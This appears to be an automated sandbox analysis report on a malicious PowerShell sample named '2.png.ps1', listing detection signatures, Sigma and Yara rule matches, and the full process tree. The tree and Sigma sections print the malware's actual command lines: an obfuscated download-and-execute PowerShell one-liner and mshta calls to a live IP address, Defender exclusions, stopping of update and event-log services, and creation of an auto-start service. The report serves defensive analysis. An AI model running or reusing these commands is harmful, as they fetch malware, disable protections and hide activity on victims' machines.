Edit tour

Windows Analysis Report
2.png.ps1

Overview

General Information

Sample name:	2.png.ps1
Analysis ID:	1577477
MD5:	c35d55fed56f234ddd8df704aabe7d3d
SHA1:	cc3c66fa513272688501de6e4b5e172024f14bc3
SHA256:	7ec87fed141de98f1906de8bd3d4e08d13f69a633fe52608bbf7c06b181292d9
Tags:	bulletproofps1user-abus3reports
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

Sigma detected: Stop EventLog

Yara detected Powershell download and execute

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Downloads files with wrong headers with respect to MIME Content-Type

Found direct / indirect Syscall (likely to bypass EDR)

Hooks files or directories query functions (used to hide files and directories)

Hooks processes query functions (used to hide processes)

Hooks registry keys query functions (used to hide registry keys)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

PE file contains section with special chars

Potential malicious VBS script found (suspicious strings)

Powershell drops PE file

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to evade debugger and weak emulator (self modifying code)

Uses an obfuscated file name to hide its real file extension (double extension)

Uses powercfg.exe to modify the power settings

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Powershell Defender Exclusion

Sigma detected: Uncommon Svchost Parent Process

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

powershell.exe (PID: 7612 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\2.png.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 7868 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7916 cmdline: "C:\Windows\System32\cmd.exe" /c mshta http://176.113.115.178/Windows-Update MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mshta.exe (PID: 7960 cmdline: mshta http://176.113.115.178/Windows-Update MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 8136 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6988 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\ MD5: 04029E121A0CFA5991749937DD22A1D9)

LB31.exe (PID: 2072 cmdline: "C:\Users\user\AppData\Roaming\LB31.exe" MD5: C9E6AA21979D5FC710F1F2E8226D9DFE)

powershell.exe (PID: 2292 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7876 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 5508 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 7888 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 748 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 3564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 2728 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 1404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 4516 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 4580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7708 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7804 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7840 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7852 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7656 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 4864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 7616 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

winlogon.exe (PID: 584 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

lsass.exe (PID: 640 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)

svchost.exe (PID: 928 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dwm.exe (PID: 992 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)

svchost.exe (PID: 436 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 376 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1028 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1036 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1124 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1148 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1160 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1220 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1336 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s nsi MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1348 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1392 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

sc.exe (PID: 4980 cmdline: C:\Windows\system32\sc.exe delete "LIB" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 4332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7992 cmdline: C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 2216 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1872 cmdline: C:\Windows\system32\sc.exe start "LIB" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 8128 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

Mig.exe (PID: 6156 cmdline: C:\ProgramData\Mig\Mig.exe MD5: C9E6AA21979D5FC710F1F2E8226D9DFE)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
2.png.ps1	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 7612	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 8136	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_7612.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_8136.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\LB31.exe" , ParentImage: C:\Users\user\AppData\Roaming\LB31.exe, ParentProcessId: 2072, ParentProcessName: LB31.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 7804, ProcessName: powercfg.exe

System Summary

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\2.png.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7612, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs" , ProcessId: 7868, ProcessName: wscript.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 8136, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\, ProcessId: 6988, ProcessName: powershell.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X , CommandLine|base64offset|contains: ", Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta http://176.113.115.178/Windows-Update, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 7960, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X , ProcessId: 8136, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\2.png.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7612, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs" , ProcessId: 7868, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\2.png.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\2.png.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\2.png.ps1", ProcessId: 7612, ProcessName: powershell.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c mshta http://176.113.115.178/Windows-Update, CommandLine: "C:\Windows\System32\cmd.exe" /c mshta http://176.113.115.178/Windows-Update, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs" , ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7868, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c mshta http://176.113.115.178/Windows-Update, ProcessId: 7916, ProcessName: cmd.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7612, TargetFilename: C:\Users\user\AppData\Roaming\CMD.vbs

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\system32\dialer.exe, ParentImage: C:\Windows\System32\dialer.exe, ParentProcessId: 7616, ParentProcessName: dialer.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, ProcessId: 928, ProcessName: svchost.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\2.png.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7612, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs" , ProcessId: 7868, ProcessName: wscript.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\LB31.exe" , ParentImage: C:\Users\user\AppData\Roaming\LB31.exe, ParentProcessId: 2072, ParentProcessName: LB31.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto", ProcessId: 7992, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\2.png.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\2.png.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\2.png.ps1", ProcessId: 7612, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8128, ProcessName: svchost.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\LB31.exe" , ParentImage: C:\Users\user\AppData\Roaming\LB31.exe, ParentProcessId: 2072, ParentProcessName: LB31.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 2216, ProcessName: sc.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://176.113.115.178/FF/M.png	Avira URL Cloud: Label: malware
Source: http://176.113.115.178/FF/1.png	Avira URL Cloud: Label: malware
Source: http://176.113.115.178/FF/CMD.png	Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Mig\Mig.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Roaming\LB31.exe	ReversingLabs: Detection: 63%

Multi AV Scanner detection for submitted file

Source: 2.png.ps1

ReversingLabs: Detection: 13%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\LB31.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Mig\Mig.exe	Joe Sandbox ML: detected

Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: LB31.exe, 0000000E.00000002.1872250872.00007FF7CEF4A000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: LB31.exe, LB31.exe, 0000000E.00000002.1872250872.00007FF7CEF4A000.00000040.00000001.01000000.00000010.sdmp, Mig.exe

Source: C:\Windows\System32\winlogon.exe	Code function: 43_2_000001F385BCDCE0 FindFirstFileExW,	43_2_000001F385BCDCE0
Source: C:\Windows\System32\lsass.exe	Code function: 49_2_000002A29199DCE0 FindFirstFileExW,	49_2_000002A29199DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_0000014E25EDDCE0 FindFirstFileExW,	50_2_0000014E25EDDCE0
Source: C:\Windows\System32\dwm.exe	Code function: 51_2_00000283E133DCE0 FindFirstFileExW,	51_2_00000283E133DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_000001FB539CDCE0 FindFirstFileExW,	52_2_000001FB539CDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001CBD8BDDCE0 FindFirstFileExW,	53_2_000001CBD8BDDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001F2BD16DCE0 FindFirstFileExW,	54_2_000001F2BD16DCE0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

